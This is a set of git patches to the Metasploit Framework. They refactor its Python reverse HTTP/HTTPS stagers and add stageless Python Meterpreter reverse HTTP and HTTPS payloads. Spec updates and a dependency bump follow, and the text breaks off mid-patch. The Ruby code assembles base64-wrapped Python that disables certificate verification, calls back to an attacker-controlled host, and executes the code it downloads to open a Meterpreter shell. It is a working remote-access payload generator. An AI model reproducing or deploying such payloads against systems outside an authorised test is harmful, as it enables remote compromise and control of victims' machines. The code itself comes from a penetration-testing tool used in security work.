From bd25ffa48c49e6f74aa8ed551ae4c3ce979c1e85 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 26 Nov 2015 13:32:50 -0500 Subject: [PATCH 1/8] Consolidate py reverse http uri code into a mixin --- lib/msf/core/payload/python/reverse_http.rb | 46 +++++++++++++++++++ lib/msf/core/payload/python/reverse_tcp.rb | 1 - .../payloads/stagers/python/reverse_http.rb | 35 ++------------ .../payloads/stagers/python/reverse_https.rb | 37 ++------------- 4 files changed, 52 insertions(+), 67 deletions(-) create mode 100644 lib/msf/core/payload/python/reverse_http.rb diff --git a/lib/msf/core/payload/python/reverse_http.rb b/lib/msf/core/payload/python/reverse_http.rb new file mode 100644 index 0000000000..74fbf4c2b2 --- /dev/null +++ b/lib/msf/core/payload/python/reverse_http.rb @@ -0,0 +1,46 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/uuid/options' + +module Msf + +module Payload::Python::ReverseHttp + + include Msf::Payload::UUID::Options + + # + # Return the longest URL that fits into our available space + # + def generate_callback_uri + uri_req_len = 30 + rand(256-30) + + # Generate the short default URL if we don't have enough space + if self.available_space.nil? || required_space > self.available_space + uri_req_len = 5 + end + + generate_uri_uuid_mode(:init_python, uri_req_len) + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + # Start with our cached default generated size + space = cached_size + + # Add 100 bytes for the encoder to have some room + space += 100 + + # Make room for the maximum possible URL length + space += 256 + + # The final estimated size + space + end + +end + +end + diff --git a/lib/msf/core/payload/python/reverse_tcp.rb b/lib/msf/core/payload/python/reverse_tcp.rb index c693829829..2f9f79877c 100644 --- a/lib/msf/core/payload/python/reverse_tcp.rb +++ b/lib/msf/core/payload/python/reverse_tcp.rb @@ -63,4 +63,3 @@ module Payload::Python::ReverseTcp end end - diff --git a/modules/payloads/stagers/python/reverse_http.rb b/modules/payloads/stagers/python/reverse_http.rb index 1157fb49f0..c7249c986f 100644 --- a/modules/payloads/stagers/python/reverse_http.rb +++ b/modules/payloads/stagers/python/reverse_http.rb @@ -5,12 +5,14 @@ require 'msf/core' require 'msf/core/handler/reverse_http' +require 'msf/core/payload/python/reverse_http' -module Metasploit3 +module Metasploit4 CachedSize = 466 include Msf::Payload::Stager + include Msf::Payload::Python::ReverseHttp def initialize(info = {}) super(merge_info(info, @@ -78,35 +80,4 @@ module Metasploit3 return b64_stub end - # - # Determine the maximum amount of space required for the features requested - # - def required_space - # Start with our cached default generated size - space = cached_size - - # Add 100 bytes for the encoder to have some room - space += 100 - - # Make room for the maximum possible URL length - space += 256 - - # The final estimated size - space - end - - # - # Return the longest URL that fits into our available space - # - def generate_callback_uri - uri_req_len = 30 + rand(256-30) - - # Generate the short default URL if we don't have enough space - if self.available_space.nil? || required_space > self.available_space - uri_req_len = 5 - end - - generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, uri_req_len) - end - end diff --git a/modules/payloads/stagers/python/reverse_https.rb b/modules/payloads/stagers/python/reverse_https.rb index 5da0a623d7..20c0e2a76f 100644 --- a/modules/payloads/stagers/python/reverse_https.rb +++ b/modules/payloads/stagers/python/reverse_https.rb @@ -5,14 +5,14 @@ require 'msf/core' require 'msf/core/handler/reverse_https' -require 'msf/core/payload/uuid/options' +require 'msf/core/payload/python/reverse_http' -module Metasploit3 +module Metasploit4 CachedSize = 762 include Msf::Payload::Stager - include Msf::Payload::UUID::Options + include Msf::Payload::Python::ReverseHttp def initialize(info = {}) super(merge_info(info, @@ -93,35 +93,4 @@ module Metasploit3 return b64_stub end - # - # Determine the maximum amount of space required for the features requested - # - def required_space - # Start with our cached default generated size - space = cached_size - - # Add 100 bytes for the encoder to have some room - space += 100 - - # Make room for the maximum possible URL length - space += 256 - - # The final estimated size - space - end - - # - # Return the longest URL that fits into our available space - # - def generate_callback_uri - uri_req_len = 30 + rand(256-30) - - # Generate the short default URL if we don't have enough space - if self.available_space.nil? || required_space > self.available_space - uri_req_len = 5 - end - - generate_uri_uuid_mode(:init_python, uri_req_len) - end - end From 1b495e73aca275c6b2853e2351c4e14a0358eb88 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 26 Nov 2015 13:59:44 -0500 Subject: [PATCH 2/8] Further reduce python reverse_http duplicate code --- lib/msf/core/payload/python.rb | 4 +- lib/msf/core/payload/python/reverse_http.rb | 80 ++++++++++++++++++- .../payloads/stagers/python/reverse_http.rb | 49 +----------- .../payloads/stagers/python/reverse_https.rb | 57 +------------ 4 files changed, 87 insertions(+), 103 deletions(-) diff --git a/lib/msf/core/payload/python.rb b/lib/msf/core/payload/python.rb index c2bae66e02..13ce0cde2c 100644 --- a/lib/msf/core/payload/python.rb +++ b/lib/msf/core/payload/python.rb @@ -5,7 +5,9 @@ module Msf::Payload::Python # # Encode the given python command in base64 and wrap it with a stub - # that will decode and execute it on the fly. + # that will decode and execute it on the fly. The code will be condensed to + # one line and compatible with all Python versions supported by the Python + # Meterpreter stage. # # @param cmd [String] The python code to execute. # @return [String] Full python stub to execute the command. diff --git a/lib/msf/core/payload/python/reverse_http.rb b/lib/msf/core/payload/python/reverse_http.rb index 74fbf4c2b2..a8ca06f98f 100644 --- a/lib/msf/core/payload/python/reverse_http.rb +++ b/lib/msf/core/payload/python/reverse_http.rb @@ -10,7 +10,42 @@ module Payload::Python::ReverseHttp include Msf::Payload::UUID::Options # - # Return the longest URL that fits into our available space + # Generate the first stage + # + def generate(opts={}) + opts.merge!({ + host: datastore['LHOST'] || '127.127.127.127', + port: datastore['LPORT'], + proxy_host: datastore['PayloadProxyHost'], + proxy_port: datastore['PayloadProxyPort'], + user_agent: datastore['MeterpreterUserAgent'] + }) + opts[:scheme] = 'http' if opts[:scheme].nil? + + generate_reverse_http(opts) + end + + # + # Return the callback URL + # + def generate_callback_url(opts) + # required opts: + # host, port, scheme + if Rex::Socket.is_ipv6?(opts[:host]) + target_url = "#{opts[:scheme]}://[#{opts[:host]}]" + else + target_url = "#{opts[:scheme]}://#{opts[:host]}" + end + + target_url << ':' + target_url << opts[:port].to_s + target_url << '/' + target_url << generate_callback_uri + target_url + end + + # + # Return the longest URI that fits into our available space # def generate_callback_uri uri_req_len = 30 + rand(256-30) @@ -23,6 +58,49 @@ module Payload::Python::ReverseHttp generate_uri_uuid_mode(:init_python, uri_req_len) end + def generate_reverse_http(opts={}) + # required opts: + # proxy_host, proxy_port, scheme, user_agent + var_escape = lambda { |txt| + txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\')) + } + + proxy_host = opts[:proxy_host] + proxy_port = opts[:proxy_port] + + urllib_fromlist = ['\'build_opener\''] + urllib_fromlist << '\'ProxyHandler\'' if proxy_host.to_s != '' + urllib_fromlist << '\'HTTPSHandler\'' if opts[:scheme] == 'https' + urllib_fromlist = '[' + urllib_fromlist.join(',') + ']' + + cmd = "import sys\n" + cmd << "vi=sys.version_info\n" + cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=#{urllib_fromlist})\n" + cmd << "hs=[]\n" + if opts[:scheme] == 'https' + # Context added to HTTPSHandler in 2.7.9 and 3.4.3 + cmd << "if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):\n" + cmd << "\timport ssl\n" + cmd << "\tsc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n" + cmd << "\tsc.check_hostname=False\n" + cmd << "\tsc.verify_mode=ssl.CERT_NONE\n" + cmd << "\ths.append(ul.HTTPSHandler(0,sc))\n" + end + + if proxy_host.to_s != '' + proxy_url = Rex::Socket.is_ipv6?(proxy_host) ? + "http://[#{proxy_host}]:#{proxy_port}" : + "http://#{proxy_host}:#{proxy_port}" + cmd << "hs.append(ul.ProxyHandler({'https':'#{var_escape.call(proxy_url)}'}))\n" + end + + cmd << "o=ul.build_opener(*hs)\n" + cmd << "o.addheaders=[('User-Agent','#{var_escape.call(opts[:user_agent])}')]\n" + cmd << "exec(o.open('#{generate_callback_url(opts)}').read())\n" + + py_create_exec_stub(cmd) + end + # # Determine the maximum amount of space required for the features requested # diff --git a/modules/payloads/stagers/python/reverse_http.rb b/modules/payloads/stagers/python/reverse_http.rb index c7249c986f..17671eabbf 100644 --- a/modules/payloads/stagers/python/reverse_http.rb +++ b/modules/payloads/stagers/python/reverse_http.rb @@ -5,6 +5,7 @@ require 'msf/core' require 'msf/core/handler/reverse_http' +require 'msf/core/payload/python' require 'msf/core/payload/python/reverse_http' module Metasploit4 @@ -12,6 +13,7 @@ module Metasploit4 CachedSize = 466 include Msf::Payload::Stager + include Msf::Payload::Python include Msf::Payload::Python::ReverseHttp def initialize(info = {}) @@ -33,51 +35,4 @@ module Metasploit4 ], self.class) end - # - # Constructs the payload - # - def generate - lhost = datastore['LHOST'] || '127.127.127.127' - - var_escape = lambda { |txt| - txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\')) - } - - if Rex::Socket.is_ipv6?(lhost) - target_url = "http://[#{lhost}]" - else - target_url = "http://#{lhost}" - end - - target_url << ':' - target_url << datastore['LPORT'].to_s - target_url << '/' - target_url << generate_callback_uri - - proxy_host = datastore['PayloadProxyHost'].to_s - proxy_port = datastore['PayloadProxyPort'].to_i - - cmd = "import sys\n" - if proxy_host == '' - cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n" - else - proxy_url = Rex::Socket.is_ipv6?(proxy_host) ? - "http://[#{proxy_host}]:#{proxy_port}" : - "http://#{proxy_host}:#{proxy_port}" - - cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n" - cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n" - end - - cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n" - cmd << "exec(o.open('#{target_url}').read())\n" - - # Base64 encoding is required in order to handle Python's formatting requirements in the while loop - b64_stub = "import base64,sys;exec(base64.b64decode(" - b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('" - b64_stub << Rex::Text.encode_base64(cmd) - b64_stub << "')))" - return b64_stub - end - end diff --git a/modules/payloads/stagers/python/reverse_https.rb b/modules/payloads/stagers/python/reverse_https.rb index 20c0e2a76f..a811706265 100644 --- a/modules/payloads/stagers/python/reverse_https.rb +++ b/modules/payloads/stagers/python/reverse_https.rb @@ -5,6 +5,7 @@ require 'msf/core' require 'msf/core/handler/reverse_https' +require 'msf/core/payload/python' require 'msf/core/payload/python/reverse_http' module Metasploit4 @@ -12,6 +13,7 @@ module Metasploit4 CachedSize = 762 include Msf::Payload::Stager + include Msf::Payload::Python include Msf::Payload::Python::ReverseHttp def initialize(info = {}) @@ -37,60 +39,7 @@ module Metasploit4 # Constructs the payload # def generate - lhost = datastore['LHOST'] || '127.127.127.127' - - var_escape = lambda { |txt| - txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\')) - } - - if Rex::Socket.is_ipv6?(lhost) - target_url = "https://[#{lhost}]" - else - target_url = "https://#{lhost}" - end - - target_url << ':' - target_url << datastore['LPORT'].to_s - target_url << generate_callback_uri - - proxy_host = datastore['PayloadProxyHost'].to_s - proxy_port = datastore['PayloadProxyPort'].to_i - - if proxy_host == '' - urllib_fromlist = "['HTTPSHandler','build_opener']" - else - urllib_fromlist = "['HTTPSHandler','ProxyHandler','build_opener']" - end - - cmd = "import sys\n" - cmd << "vi=sys.version_info\n" - cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=#{urllib_fromlist})\n" - cmd << "hs=[]\n" - # Context added to HTTPSHandler in 2.7.9 and 3.4.3 - cmd << "if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):\n" - cmd << "\timport ssl\n" - cmd << "\tsc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n" - cmd << "\tsc.check_hostname=False\n" - cmd << "\tsc.verify_mode=ssl.CERT_NONE\n" - cmd << "\ths.append(ul.HTTPSHandler(0,sc))\n" - - if proxy_host != '' - proxy_url = Rex::Socket.is_ipv6?(proxy_host) ? - "http://[#{proxy_host}]:#{proxy_port}" : - "http://#{proxy_host}:#{proxy_port}" - cmd << "hs.append(ul.ProxyHandler({'https':'#{var_escape.call(proxy_url)}'}))\n" - end - - cmd << "o=ul.build_opener(*hs)\n" - cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n" - cmd << "exec(o.open('#{target_url}').read())\n" - - # Base64 encoding is required in order to handle Python's formatting requirements in the while loop - b64_stub = "import base64,sys;exec(base64.b64decode(" - b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('" - b64_stub << Rex::Text.encode_base64(cmd) - b64_stub << "')))" - return b64_stub + super({scheme: 'https'}) end end From fba9715a56efc9c8b3a3aee5e1a7e29322cb8cd5 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Sat, 28 Nov 2015 17:41:01 -0500 Subject: [PATCH 3/8] Add stageless python meterpreter http & https payloads --- lib/msf/core/handler/reverse_http.rb | 17 ++----- .../core/payload/python/meterpreter_loader.rb | 21 ++++++++ lib/msf/core/payload/python/reverse_http.rb | 16 +++++-- .../singles/python/meterpreter_bind_tcp.rb | 2 +- .../python/meterpreter_reverse_http.rb | 47 ++++++++++++++++++ .../python/meterpreter_reverse_https.rb | 48 +++++++++++++++++++ .../singles/python/meterpreter_reverse_tcp.rb | 2 +- .../payloads/stagers/python/reverse_http.rb | 8 +--- .../payloads/stagers/python/reverse_https.rb | 6 --- 9 files changed, 135 insertions(+), 32 deletions(-) create mode 100644 modules/payloads/singles/python/meterpreter_reverse_http.rb create mode 100644 modules/payloads/singles/python/meterpreter_reverse_https.rb diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 1ae5e763c5..8eef811c83 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -285,23 +285,14 @@ protected blob = "" blob << obj.generate_stage( + http_url: url, + http_user_agent: datastore['MeterpreterUserAgent'], + http_proxy_host: datastore['PayloadProxyHost'] || datastore['PROXYHOST'], + http_proxy_port: datastore['PayloadProxyPort'] || datastore['PROXYPORT'], uuid: uuid, uri: conn_id ) - var_escape = lambda { |txt| - txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\')) - } - - # Patch all the things - blob.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(url)}'") - blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'") - - unless datastore['PayloadProxyHost'].blank? - proxy_url = "http://#{datastore['PayloadProxyHost']||datastore['PROXYHOST']}:#{datastore['PayloadProxyPort']||datastore['PROXYPORT']}" - blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'") - end - resp.body = blob # Short-circuit the payload's handle_connection processing for create_session diff --git a/lib/msf/core/payload/python/meterpreter_loader.rb b/lib/msf/core/payload/python/meterpreter_loader.rb index 6cdd35169c..1cda34d971 100644 --- a/lib/msf/core/payload/python/meterpreter_loader.rb +++ b/lib/msf/core/payload/python/meterpreter_loader.rb @@ -36,6 +36,14 @@ module Payload::Python::MeterpreterLoader # configuration # # @param opts [Hash] The options to use for patching the stage data. + # @option opts [String] :http_proxy_host The host to use as a proxy for + # HTTP(S) transports. + # @option opts [String] :http_proxy_port The port to use when a proxy host is + # set for HTTP(S) transports. + # @option opts [String] :http_url The HTTP(S) URL to patch in to + # allow use of the stage as a stageless payload. + # @option opts [String] :http_user_agent The value to use for the User-Agent + # header for HTTP(S) transports. # @option opts [String] :stageless_tcp_socket_setup Python code to execute to # setup a tcp socket to allow use of the stage as a stageless payload. # @option opts [String] :uuid A specific UUID to use for sessions created by @@ -43,6 +51,10 @@ module Payload::Python::MeterpreterLoader def stage_meterpreter(opts={}) met = MetasploitPayloads.read('meterpreter', 'meterpreter.py') + var_escape = lambda { |txt| + txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\')) + } + if datastore['PythonMeterpreterDebug'] met = met.sub("DEBUGGING = False", "DEBUGGING = True") end @@ -56,6 +68,15 @@ module Payload::Python::MeterpreterLoader uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '') met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'") + # patch in the stageless http(s) connection url + met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(opts[:http_url])}'") if opts[:http_url].to_s != '' + met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(opts[:http_user_agent])}'") if opts[:http_user_agent].to_s != '' + + if opts[:http_proxy_host].to_s != '' + proxy_url = "http://#{opts[:http_proxy_host]}:#{opts[:http_proxy_port]}" + met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'") + end + # patch in any optional stageless tcp socket setup unless opts[:stageless_tcp_socket_setup].nil? socket_setup = opts[:stageless_tcp_socket_setup] diff --git a/lib/msf/core/payload/python/reverse_http.rb b/lib/msf/core/payload/python/reverse_http.rb index a8ca06f98f..5bd3c7e71b 100644 --- a/lib/msf/core/payload/python/reverse_http.rb +++ b/lib/msf/core/payload/python/reverse_http.rb @@ -9,6 +9,15 @@ module Payload::Python::ReverseHttp include Msf::Payload::UUID::Options + def initialize(info = {}) + super(info) + register_options( + [ + OptString.new('PayloadProxyHost', [ false, "The proxy server's IP address" ]), + OptPort.new('PayloadProxyPort', [ true, "The proxy port to connect to", 8080 ]) + ], self.class) + end + # # Generate the first stage # @@ -39,15 +48,14 @@ module Payload::Python::ReverseHttp target_url << ':' target_url << opts[:port].to_s - target_url << '/' - target_url << generate_callback_uri + target_url << generate_callback_uri(opts) target_url end # # Return the longest URI that fits into our available space # - def generate_callback_uri + def generate_callback_uri(opts={}) uri_req_len = 30 + rand(256-30) # Generate the short default URL if we don't have enough space @@ -55,7 +63,7 @@ module Payload::Python::ReverseHttp uri_req_len = 5 end - generate_uri_uuid_mode(:init_python, uri_req_len) + generate_uri_uuid_mode(opts[:uri_uuid_mode] || :init_python, uri_req_len) end def generate_reverse_http(opts={}) diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb index bf7069cef5..395962145f 100644 --- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module Metasploit4 - CachedSize = 49482 + CachedSize = 50226 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb new file mode 100644 index 0000000000..44369a42a9 --- /dev/null +++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb @@ -0,0 +1,47 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_http' +require 'msf/core/payload/python' +require 'msf/core/payload/python/meterpreter_loader' +require 'msf/core/payload/python/reverse_http' +require 'msf/base/sessions/meterpreter_python' + +module Metasploit4 + + CachedSize = 50190 + + include Msf::Payload::Single + include Msf::Payload::Python + include Msf::Payload::Python::ReverseHttp + include Msf::Payload::Python::MeterpreterLoader + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Python Meterpreter Shell, Reverse HTTP Inline', + 'Description' => 'Connect back to the attacker and spawn a Meterpreter shell', + 'Author' => 'Spencer McIntyre', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_Python_Python + )) + end + + def generate_reverse_http(opts={}) + opts[:uri_uuid_mode] = :init_connect + met = stage_meterpreter({ + http_url: generate_callback_url(opts), + http_user_agent: opts[:user_agent], + http_proxy_host: opts[:proxy_host], + http_proxy_port: opts[:proxy_port] + }) + + py_create_exec_stub(met) + end + +end diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb new file mode 100644 index 0000000000..efdecac0bc --- /dev/null +++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb @@ -0,0 +1,48 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_https' +require 'msf/core/payload/python' +require 'msf/core/payload/python/meterpreter_loader' +require 'msf/core/payload/python/reverse_http' +require 'msf/base/sessions/meterpreter_python' + +module Metasploit4 + + CachedSize = 50190 + + include Msf::Payload::Single + include Msf::Payload::Python + include Msf::Payload::Python::ReverseHttp + include Msf::Payload::Python::MeterpreterLoader + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Python Meterpreter Shell, Reverse HTTPS Inline', + 'Description' => 'Connect back to the attacker and spawn a Meterpreter shell', + 'Author' => 'Spencer McIntyre', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_Python_Python + )) + end + + def generate_reverse_http(opts={}) + opts[:scheme] = 'https' + opts[:uri_uuid_mode] = :init_connect + met = stage_meterpreter({ + http_url: generate_callback_url(opts), + http_user_agent: opts[:user_agent], + http_proxy_host: opts[:proxy_host], + http_proxy_port: opts[:proxy_port] + }) + + py_create_exec_stub(met) + end + +end diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb index f4aabdd443..7988da15eb 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module Metasploit4 - CachedSize = 49398 + CachedSize = 50146 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/stagers/python/reverse_http.rb b/modules/payloads/stagers/python/reverse_http.rb index 17671eabbf..97874d9e5c 100644 --- a/modules/payloads/stagers/python/reverse_http.rb +++ b/modules/payloads/stagers/python/reverse_http.rb @@ -10,7 +10,7 @@ require 'msf/core/payload/python/reverse_http' module Metasploit4 - CachedSize = 466 + CachedSize = 494 include Msf::Payload::Stager include Msf::Payload::Python @@ -27,12 +27,6 @@ module Metasploit4 'Handler' => Msf::Handler::ReverseHttp, 'Stager' => {'Payload' => ""} )) - - register_options( - [ - OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]), - OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]) - ], self.class) end end diff --git a/modules/payloads/stagers/python/reverse_https.rb b/modules/payloads/stagers/python/reverse_https.rb index a811706265..bad7e55fea 100644 --- a/modules/payloads/stagers/python/reverse_https.rb +++ b/modules/payloads/stagers/python/reverse_https.rb @@ -27,12 +27,6 @@ module Metasploit4 'Handler' => Msf::Handler::ReverseHttps, 'Stager' => {'Payload' => ""} )) - - register_options( - [ - OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]), - OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]) - ], self.class) end # From 6483eca00a55c3c57e3493e68835c72920264aa1 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 30 Nov 2015 11:28:36 -0500 Subject: [PATCH 4/8] Update payloads_spec for pymet stageless reverse http --- spec/modules/payloads_spec.rb | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 9938443e12..e8a6622bb0 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -2255,6 +2255,26 @@ describe 'modules/payloads', :content do reference_name: 'python/meterpreter_bind_tcp' end + context 'python/meterpreter_reverse_http' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/python/meterpreter_reverse_http' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'python/meterpreter_reverse_http' + end + + context 'python/meterpreter_reverse_https' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/python/meterpreter_reverse_https' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'python/meterpreter_reverse_https' + end + context 'python/meterpreter_reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ From 388edd3207a61d7c2641cbe05df0c02db2451ffc Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 30 Nov 2015 13:45:24 -0500 Subject: [PATCH 5/8] Fix the scheme for the pymet ProxyHandler --- lib/msf/core/payload/python/reverse_http.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload/python/reverse_http.rb b/lib/msf/core/payload/python/reverse_http.rb index 5bd3c7e71b..f363a6cc67 100644 --- a/lib/msf/core/payload/python/reverse_http.rb +++ b/lib/msf/core/payload/python/reverse_http.rb @@ -99,7 +99,7 @@ module Payload::Python::ReverseHttp proxy_url = Rex::Socket.is_ipv6?(proxy_host) ? "http://[#{proxy_host}]:#{proxy_port}" : "http://#{proxy_host}:#{proxy_port}" - cmd << "hs.append(ul.ProxyHandler({'https':'#{var_escape.call(proxy_url)}'}))\n" + cmd << "hs.append(ul.ProxyHandler({'#{opts[:scheme]}':'#{var_escape.call(proxy_url)}'}))\n" end cmd << "o=ul.build_opener(*hs)\n" From 3b3b569d8edefb84e8b5d34644e587776362d62f Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 1 Dec 2015 13:00:15 -0500 Subject: [PATCH 6/8] Fix payload CacheSize for current pymet --- modules/payloads/singles/python/meterpreter_bind_tcp.rb | 2 +- modules/payloads/singles/python/meterpreter_reverse_http.rb | 2 +- modules/payloads/singles/python/meterpreter_reverse_https.rb | 2 +- modules/payloads/singles/python/meterpreter_reverse_tcp.rb | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb index 395962145f..bf7069cef5 100644 --- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module Metasploit4 - CachedSize = 50226 + CachedSize = 49482 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb index 44369a42a9..5d518cf963 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module Metasploit4 - CachedSize = 50190 + CachedSize = 49446 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb index efdecac0bc..58e0cd3185 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module Metasploit4 - CachedSize = 50190 + CachedSize = 49446 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb index 7988da15eb..f4aabdd443 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module Metasploit4 - CachedSize = 50146 + CachedSize = 49398 include Msf::Payload::Single include Msf::Payload::Python From f141cf0e56d474d5105dd74316d527747b8d4c84 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 4 Dec 2015 16:12:23 -0600 Subject: [PATCH 7/8] Bump metsploit-payloads to 1.0.18 --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 3bc00c0f47..3f154d58cc 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -13,7 +13,7 @@ PATH metasploit-concern (= 1.0.0) metasploit-credential (= 1.0.1) metasploit-model (= 1.0.0) - metasploit-payloads (= 1.0.17) + metasploit-payloads (= 1.0.18) metasploit_data_models (= 1.2.9) msgpack network_interface (~> 0.0.1) @@ -123,7 +123,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.17) + metasploit-payloads (1.0.18) metasploit_data_models (1.2.9) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 1e000e0215..537b2283fa 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -68,7 +68,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.0.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.0.17' + spec.add_runtime_dependency 'metasploit-payloads', '1.0.18' # Needed by msfgui and 